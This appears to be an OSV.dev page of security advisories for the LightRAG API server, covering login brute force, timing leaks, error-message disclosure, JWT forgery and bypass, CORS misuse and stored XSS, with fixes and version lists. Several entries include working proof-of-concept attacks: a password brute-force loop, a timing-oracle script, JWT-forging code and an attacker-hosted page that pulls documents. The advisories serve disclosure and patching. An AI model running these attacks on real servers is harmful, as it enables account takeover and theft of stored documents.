References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 22, 2025

1.4.9.3 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

